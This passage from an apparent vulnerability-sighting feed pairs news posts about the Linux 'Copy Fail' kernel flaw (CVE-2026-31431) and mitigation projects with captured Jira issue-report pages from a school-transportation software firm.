\n\n                      DO-1782\n                      Several API calls are failed in ultilities --> Employee Import and Queue Priority modules \n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (35d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1779\n                      [Cleveland -1.78] [Time & attendance][Absence Record] Data preview is not available\n                      Josiah Brown\n                      Mar 16, '26\n                      Mar 16, '26 (36d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1776\n                      Routes API CORS Blocked & Gateway Timeout on Routes Management Page\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 15, '26 (37d)\n                      \u2014\n                      Verification\n                    \n                    \n\n                      DO-1775\n                      [Chicago-1.78] [Telematics --> Edulog standard reports] - Unable to select date range for AM on time report\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 13, '26 (37d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1768\n                      [moorhead 1.78.0] [Telematics] [Vehicle Plan Error] Front end error for Vehicle on Route Historical view\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 16, '26 (36d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1767\n                      500 Internal Server Error on Athena Routing Screen \u2013 eligibilities API\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 23, '26 (31d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1766\n                      [Helena] API call fails on clicking \"Add New\" Student \n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 23, '26 (31d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1765\n                      Deleting a student without entering any data in Add student form is giving 405 error \n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 27, '26 (27d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1761\n                       is displayed against a checkbox on Custom transportation Needs \n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (38d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1760\n                      Pick A Location - External address return as the SA\" is failing because the \"Pick A Location\" button cannot be located on the page, preventing test execution.\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (38d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1759\n                      [Chief Leschi-1.78][Reports] [User defined Reports] Unable to create a new report template\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 31, '26 (25d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1758\n                      API returns 500 error when sending IN filter with empty values array in search request\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (38d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1757\n                      Stops/Checkpoints \u2013 Map not displayed in \u201cPick A Location\u201d popup when using Relocate\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (38d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1756\n                      [Chief Leschi-1.78] Created date is not same when downloaded a report\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 24, '26 (30d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1755\n                      Data Management \u2013 Map fails to load across multiple modules\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (38d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1754\n                      [Chief Leschi-1.78] Created by \"unknown\" appearing with CA Reports\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 24, '26 (30d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1753\n                      Students \u2013 Student picture API returning 404 Not Found when opening student record\n                      Josiah Brown\n                      Mar 12, '26\n                      Apr 6, '26 (21d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1752\n                      Students \u2013 Address parsing APIs (type, prefix, suffix) returning 500 Internal Server Error in background requests\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (38d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1751\n                      Students \u2013 Opening student record triggers \"Error parsing address\" popup and address standardization API returns 500\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (38d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1749\n                      Historical changes API is returning 500 Internal server error on Vehicle on routes in Telamatics\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 17, '26 (35d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1615\n                      Payroll Data is not available/displaying\n                      \u2014\n                      Mar 11, '26\n                      Mar 11, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1614\n                      Data is not Visible for Default Working Hours in Employees under Data Management\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1613\n                      UDF Tab is not Displayed in Employee Information Page\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1611\n                      RPO \u2013 OPT actions failure\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1610\n                      [Chief Leschi-1.78] Created by \"unknown\" appearing with Stops details\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 17, '26 (35d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1608\n                      Location search fails with 504 Gateway Timeout when adding a new Stop\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1606\n                      Student Needs dialogs shows formatting issues and invalid \u201c504\u201d need option\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1594\n                      [Foundations] 404 error on Students detail page\n                      Josiah Brown\n                      Mar 10, '26\n                      Mar 10, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1591\n                      Web Query not configured for aldine-tx\n                      Josiah Brown\n                      Mar 10, '26\n                      Mar 10, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1579\n                      [Support][1.78] [Telematics] -- Error on FE Live Subs\n                      Josiah Brown\n                      Mar 9, '26\n                      Mar 9, '26 (41d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1578\n                      [Support-Site-1.78] 500 internal server error for \"eligibilities\"call\n                      Josiah Brown\n                      Mar 9, '26\n                      Mar 10, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1577\n                      [Training][1.78] [Telematics-Drivers] -- Error on FE for Route Assignment\n                      Josiah Brown\n                      Mar 9, '26\n                      Mar 30, '26 (26d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1575\n                      [Manitouspring][1.78] [Telematics-Drivers] -- Error on FE for Route Assignment\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 9, '26 (41d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1572\n                      [Manitouspring][1.78] Audit Logs: Unknown has been shown for many logs in users column\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 17, '26 (35d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1570\n                      500 err on cancel report API\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 6, '26 (42d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1569\n                      API Timesout - Endless Spinning Wheel Issue\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 6, '26 (42d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1562\n                      API times out/ when searching with keywords for location in Pick a Location Popup [smoke/hemet]\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 6, '26 (42d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1558\n                      [Houston-1.780] [Mapping] Console Error\n                      Josiah Brown\n                      Mar 5, '26\n                      Mar 5, '26 (43d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1556\n                      Home Page - Telematics module not displayed on Home Page\n                      Josiah Brown\n                      Mar 5, '26\n                      Mar 5, '26 (43d)\n                      \u2014\n                      To Do\n                    \n\nData sourced live from Jira on May 05, 2026 at 06:32 PM.\n\nfunction showTab(key,el){\n  document.querySelectorAll('.tab').forEach(t=>t.classList.remove('active'));\n  el.classList.add('active');\n  document.querySelectorAll('.pane').forEach(p=>p.style.display='none');\n  document.getElementById('pane-'+key).style.display='block';\n}\n\n\n", "creation_timestamp": "2026-05-05T18:32:55.000000Z"}, {"uuid": "85d60892-6c2c-4af0-95cc-0b9ff0c067d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3ml4hyynggu26", "content": "A critical Linux kernel bug, CVE-2026-31431, allows low-level users to gain full control of systems, prompting urgent patching efforts.\n", "creation_timestamp": "2026-05-05T15:13:42.149946Z"}, {"uuid": "6ad8d71a-57e6-48cd-bb2e-3636bc6e3ed7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/newstecnicas.info.ve/post/3ml4i2aa4ts2b", "content": "\ud83d\udc27 \u00bfC\u00f3mo funciona ' #CopyFail'? El #exploit de 732 bytes que otorga acceso #Root en #Linux (CVE-2026-31431) (+MITIGACI\u00d3N) www.newstecnicas.info.ve/2026/04/copy...", "creation_timestamp": "2026-05-05T15:14:25.351311Z"}, {"uuid": "46a368ea-3d0b-4a92-a859-9237d6410c0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/webradiomexfm.bsky.social/post/3ml4k475i772v", "content": "Vulnerabilidade CopyFail no Linux amea\u00e7a servidores em todo o mundo\n\nExplora\u00e7\u00e3o ativa da falha CVE-2026-31431 coloca em risco distribui\u00e7\u00f5es Linux desde 2017.\n\nhttps://mexnews.online/l/MGv6SH\n\n#mexfm #mexnews #webradiomexfm #brasil #noticias #musica", "creation_timestamp": "2026-05-05T15:51:15.792139Z"}, {"uuid": "03a2722f-de7e-4da3-af73-8d00ca4eb6fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31565", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:50:16.992309Z"}, {"uuid": "81162c86-5101-40d9-a557-5ee8e8d966e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3ml4ig7eeow24", "content": "Urgent: 'Copy Fail' vulnerability (CVE-2026-31431) affects Linux kernels since 2017, granting root access to unprivileged users. Patch immediately to secure your systems. #Linux #CyberSecurity #CVE202631431 Link: thedailytechfeed.com/copy-fail-fl...", "creation_timestamp": "2026-05-05T15:21:03.807741Z"}, {"uuid": "696aa910-ef4e-4178-be91-11401391d4cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82925", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a afalg-check\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a itsystem\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Go\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-05 14:32:55\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u0423\u0442\u0438\u043b\u0438\u0442\u0430 \u0434\u043b\u044f Linux, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c `AF_ALG`/`algif_aead` \u0438 \u043f\u043e\u043c\u043e\u0433\u0430\u0435\u0442 \u043e\u0446\u0435\u043d\u0438\u0442\u044c \u0440\u0438\u0441\u043a \u043f\u043e `CVE-2026-31431`.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-05T15:00:05.000000Z"}, {"uuid": "2193dea0-d8ea-462e-a82d-1a1d0710074f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/geeknewsbot.bsky.social/post/3ml4unv2rn62n", "content": "Podman \ub8e8\ud2b8\ub9ac\uc2a4 \ucee8\ud14c\uc774\ub108\uc640 Copy Fail \uc775\uc2a4\ud50c\ub85c\uc787\n\nCVE-2026-31431 Copy Fail\uc740 \ub85c\uceec \ube44\uad8c\ud55c \uc0ac\uc6a9\uc790\uac00 root \uc178\uc744 \uc5bb\uc744 \uc218 \uc788\uac8c \ud558\uba70, Podman \ub8e8\ud2b8\ub9ac\uc2a4 \ucee8\ud14c\uc774\ub108 \uc548\uc5d0\uc11c\ub3c4 \ucee8\ud14c\uc774\ub108 \ub0b4\ubd80 root \uad8c\ud55c \uc0c1\uc2b9\uc774 \uac00\ub2a5\ud568 Podman \ub8e8\ud2b8\ub9ac\uc2a4 \ucee8\ud14c\uc774\ub108\ub294...", "creation_timestamp": "2026-05-05T19:00:06.233636Z"}, {"uuid": "d4936136-edcb-4e48-bab9-251ce169bc1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82955", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a ubuntu-cve-2026-31431-mitigation\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a mrmtwoj\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-05 18:50:49\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u062f\u0633\u062a\u0648\u0631\u0627\u0644\u0639\u0645\u0644\u200c\u0647\u0627\u06cc \u06a9\u0627\u0647\u0634 \u0631\u06cc\u0633\u06a9 \u0648 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0628\u0631\u0627\u06cc CVE-2026-31431 \u062f\u0631 \u0633\u06cc\u0633\u062a\u0645\u200c\u0647\u0627\u06cc \u0627\u0648\u0628\u0648\u0646\u062a\u0648\u060c \u0634\u0627\u0645\u0644 \u0645\u0631\u0627\u062d\u0644 \u0627\u0631\u062a\u0642\u0627\u0621 \u06a9\u0631\u0646\u0644 \u0648 kmod.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-05T19:00:05.000000Z"}, {"uuid": "a2fb28a9-d49c-451c-b502-e702f45e0b38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/tatzelwurm.eurosky.social/post/3ml4y4tbyg62s", "content": "Den neuen Linux Kernel nicht eingespielt und SSH Zugang geknackt??\n\nCVE-2026-31431, CVSS 7.8", "creation_timestamp": "2026-05-05T20:02:08.214339Z"}, {"uuid": "0002eaf3-220f-4f79-99c0-ae3471a68d2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3ml4zeylbdib2", "content": "CISA warns Linux Copy Fail flaw is being exploited to gain root access CISA has added the Linux kernel vulnerability CVE-2026-31431, known as Copy Fail, to its Known Exploited Vulnerabilities catal...\n\n#News\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-05T20:24:38.878444Z"}, {"uuid": "a8329cb5-9d60-4f91-8650-035f064ca820", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3ml54nyutz6v2", "content": "Navigating the \u201cCopy Fail\u201d: Understanding and Mitigating CVE-2026-31431 in Linux A significant vulnerability dubbed \u201cCopy Fail,\u201d recorded as CVE-2026-31431, has emerged as a substantial con...\n\n#Current #Events #Linux #Security #AF_ALG #Copy #Fail #copy #fail #exploit #copy\n\nOrigin | Interest | [\u2026]", "creation_timestamp": "2026-05-05T21:23:22.426944Z"}, {"uuid": "40c76ecd-e292-4d6b-8b7b-a67855f606f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/npub1lllllll9xdgqvp5l3drml7kwrre9u5ma6je7ey8r0578dfqq8l8qrjujua.momostr.pink.ap.brid.gy/post/3ml54yysgkmv2", "content": "CVE-2026-31431 has been fun", "creation_timestamp": "2026-05-05T21:29:31.338369Z"}, {"uuid": "849a73c4-c164-4eda-823f-3325b45fc74a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/thehackernews/8920", "content": "\u26a0\ufe0f A new #Linux flaw is now under active exploitation.\n\nCISA added CVE-2026-31431 to its KEV list. The bug lets low-privilege users gain full root access. Patches released.\n\nFix deadline: May 15, 2026.\n\nRead: https://thehackernews.com/2026/05/cisa-adds-actively-exploited-linux-root.html", "creation_timestamp": "2026-05-03T06:48:23.000000Z"}, {"uuid": "8732cace-e770-4ffe-baf7-50d08a487b7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/ef-edulog/9a60a90f5fec78acbb843852423e6888", "content": "\n\n\n\n\nJira Report \u2014 DO / IM / S2\n\n  :root {\n    --bg: #fff; --bg2: #f5f4ef; --bg3: #ebebeb;\n    --tx: #1a1a1a; --tx2: #666660; --tx3: #999994;\n    --info: #185FA5; --bdr: rgba(0,0,0,0.12); --bdr2: rgba(0,0,0,0.22);\n    --r: 8px; --rl: 12px;\n    --font: -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif;\n    --mono: 'SF Mono','Fira Code',monospace;\n  }\n  @media(prefers-color-scheme:dark){\n    :root{--bg:#1e1e1c;--bg2:#2a2a28;--bg3:#333330;--tx:#f0efe8;--tx2:#a8a79f;--tx3:#6e6e68;--info:#85B7EB;--bdr:rgba(255,255,255,0.1);--bdr2:rgba(255,255,255,0.18)}\n  }\n  *{box-sizing:border-box;margin:0;padding:0}\n  body{font-family:var(--font);background:var(--bg);color:var(--tx);padding:24px;max-width:1300px;margin:0 auto}\n  h1{font-size:18px;font-weight:500;margin-bottom:4px}\n  .sub{font-size:12px;color:var(--tx2);margin-bottom:20px}\n  .tabs{display:flex;gap:6px;margin-bottom:1.25rem;flex-wrap:wrap}\n  .tab{padding:5px 13px;border:0.5px solid var(--bdr2);border-radius:var(--r);font-size:13px;cursor:pointer;background:var(--bg);color:var(--tx2)}\n  .tab.active{background:var(--bg2);color:var(--tx);font-weight:500}\n  .tab:hover:not(.active){background:var(--bg2)}\n  .legend{display:flex;gap:14px;flex-wrap:wrap;margin-bottom:1rem;font-size:11px;color:var(--tx2);align-items:center}\n  .li{display:flex;align-items:center;gap:4px}\n  .ld{width:9px;height:9px;border-radius:2px}\n  .summary-grid{display:grid;grid-template-columns:repeat(3,minmax(0,1fr));gap:8px;margin-bottom:1.25rem}\n  .metric{background:var(--bg2);border-radius:var(--r);padding:10px 12px}\n  .ml{font-size:11px;color:var(--tx2);margin-bottom:3px}\n  .mv{font-size:20px;font-weight:500}\n  .project-block{margin-bottom:1.1rem;border:0.5px solid var(--bdr);border-radius:var(--rl);overflow:hidden}\n  .ph{padding:9px 14px;border-bottom:0.5px solid var(--bdr);display:flex;align-items:center;justify-content:space-between}\n  .pn{font-size:13px;font-weight:500}\n  .pm{font-size:11px;color:var(--tx2)}\n  .th{padding:5px 14px;font-size:11px;font-weight:500;color:var(--tx2);background:var(--bg2);display:flex;align-items:center;gap:6px;border-top:0.5px solid var(--bdr)}\n  .tc{background:var(--bg3);color:var(--tx2);padding:1px 6px;border-radius:var(--r);font-size:10px}\n  .cols{display:grid;grid-template-columns:80px 1fr 86px 82px 82px 80px 98px;gap:4px;padding:4px 14px;font-size:10px;color:var(--tx3);background:var(--bg2);border-top:0.5px solid var(--bdr)}\n  .ir{display:grid;grid-template-columns:80px 1fr 86px 82px 82px 80px 98px;gap:4px;padding:6px 14px;align-items:start;border-top:0.5px solid var(--bdr);font-size:11px}\n  .ir.stale{background:rgba(250,238,218,0.3)}\n  .ir.highest{background:rgba(252,235,235,0.35)}\n  .ir.overdue{background:rgba(252,235,235,0.45)}\n  .ir.stale.highest,.ir.stale.overdue{background:rgba(250,220,200,0.45)}\n  @media(prefers-color-scheme:dark){\n    .ir.stale{background:rgba(99,56,6,0.2)}.ir.highest{background:rgba(121,31,31,0.2)}\n    .ir.overdue{background:rgba(121,31,31,0.3)}.ir.stale.highest,.ir.stale.overdue{background:rgba(110,40,6,0.28)}\n  }\n  .ik{color:var(--info);font-size:10px;font-family:var(--mono);white-space:nowrap;text-decoration:none}\n  .ik:hover{text-decoration:underline}\n  .is{color:var(--tx);line-height:1.4;overflow:hidden;display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical}\n  .ia{color:var(--tx2);font-size:10px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}\n  .dt{font-size:10px;white-space:nowrap}\n  .upd-ok{color:var(--tx2)}.upd-stale{color:#BA7517;font-weight:500}\n  .due-ok{color:var(--tx2)}.due-over{color:#A32D2D;font-weight:500}\n  .cr{color:var(--tx2)}\n  @media(prefers-color-scheme:dark){.upd-stale{color:#FAC775}.due-over{color:#F7C1C1}}\n  .dot-h{display:inline-block;width:5px;height:5px;border-radius:50%;background:#E24B4A;margin-right:2px;vertical-align:middle}\n  .dot-s{display:inline-block;width:5px;height:5px;border-radius:50%;background:#EF9F27;margin-right:2px;vertical-align:middle}\n  .dot-d{display:inline-block;width:5px;height:5px;border-radius:50%;background:#D85A30;margin-right:2px;vertical-align:middle}\n  .sb{font-size:10px;padding:2px 6px;border-radius:var(--r);text-align:center;white-space:nowrap}\n  .s-ip{background:#FAEEDA;color:#854F0B}.s-td{background:#E1F5EE;color:#0F6E56}\n  .s-oi{background:#FCEBEB;color:#A32D2D}.s-xx{background:var(--bg2);color:var(--tx2)}\n  @media(prefers-color-scheme:dark){\n    .s-ip{background:#633806;color:#FAC775}.s-td{background:#085041;color:#9FE1CB}.s-oi{background:#791F1F;color:#F7C1C1}\n  }\n  .empty{padding:16px;text-align:center;color:var(--tx3);font-size:12px}\n  .footer{font-size:11px;color:var(--tx3);margin-top:24px}\n\n\n\n\nJira Active Issues Report \u2014 DO / IM / S2\n\nGenerated May 05, 2026 at 10:29 PM  \u00b7  Excludes Done, Fixed, Canceled, Deferred  \u00b7  https://karrostech.atlassian.net\n\nLast 24 hrs24\u201348 hrs ago2\u20137 days agoOlder than 7 days\n\n\n  Highest priority\n  Stale \u22655 business days\n  Due date missed\n\n\n\n\n\nDO \u2014 Edulog DevOps\n4\n\nIM \u2014 Incident Management\n5\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                4 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nTask 4\n                    \n\n                      DO-2046\n                      Alamance, NC - Please turn on User Defined Reports\n                      JD Hawk\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2042\n                      Client Cancelation for Kuna Joint School District, ID - May 29 shutdown\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      On hold\n                    \n                    \n\n                      DO-2041\n                      Remove the test server - fr-routing-legacy-test  it is no longer needed.\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2040\n                      Remove queuedNotification lambda function when associated NotificationService changes are deployed\n                      \u2014\n                      May 4, '26\n                      May 4, '26\n                      \u2014\n                      Backlog\n                    \n            \n\n              \n\n                IM \u2014 Incident Management\n                5 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nStory 4\n                    \n\n                      IM-7574\n                      Gwinnett, GA - Missing Data in Telematics\n                      Josiah Brown\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7573\n                      Brunswick County, NC - APP Issues\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7571\n                      Cleveland, OH - Client Reported Delays in Both Telematics and with Parent Portal Messages this Morning\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7569\n                      Zonar - Delay / Omission of pings to SM, PP\n                      Nick Sundberg\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Open Issue\n                    \nTask 1\n                    \n\n                      IM-7572\n                      Framingham Public Schools, GPS units not reporting in since 11:30 AM today\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Open Issue\n                    \n\n\n\nDO \u2014 Edulog DevOps\n1\n\nIM \u2014 Incident Management\n0\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                1 active issue\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nTask 1\n                    \n\n                      DO-2037\n                      Deploy Hafeez's Data Build Tool\n                      Boluwatife Olaifa\n                      May 4, '26\n                      May 4, '26\n                      May 4, '26\n                      Backlog\n                    \n\n\n\nDO \u2014 Edulog DevOps\n9\n\nIM \u2014 Incident Management\n15\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                9 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nBug 2\n                    \n\n                      DO-2034\n                      DP V2 (build 180/AV1): EDP gateway /v4.0/vehicles/search returns 0 vehicles for development-test-school tenant\n                      \u2014\n                      May 3, '26\n                      May 3, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2033\n                      DP V2 (build 180/AV1): POST /apilive/setting/event/add returns 500 after login (tenantId='', deviceId=0)\n                      \u2014\n                      May 3, '26\n                      May 3, '26\n                      \u2014\n                      Backlog\n                    \nStory 1\n                    \n\n                      DO-2025\n                      Birdville, TX - Please deploy Telematics\n                      Cory Emlen\n                      Apr 29, '26\n                      Apr 30, '26\n                      \u2014\n                      IN PROGRESS\n                    \nTask 6\n                    \n\n                      DO-2032\n                      Need script run on Cobb to remove duplicate locations\n                      Vader\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-2028\n                      All legacy PP ingestions have not run:\n                      Josiah Brown\n                      May 1, '26\n                      May 5, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2027\n                      Patch infra with CopyFail (CVE-2026-31431)\n                      Josiah Brown\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2026\n                      Johnston NC Demo Site down\n                      Vader\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Verification\n                    \n                    \n\n                      DO-2024\n                      Review all deployments, evaluate setting limits\n                      Josiah Brown\n                      Apr 29, '26\n                      Apr 29, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2023\n                      Testing Release Servers\n                      \u2014\n                      Apr 29, '26\n                      Apr 30, '26\n                      \u2014\n                      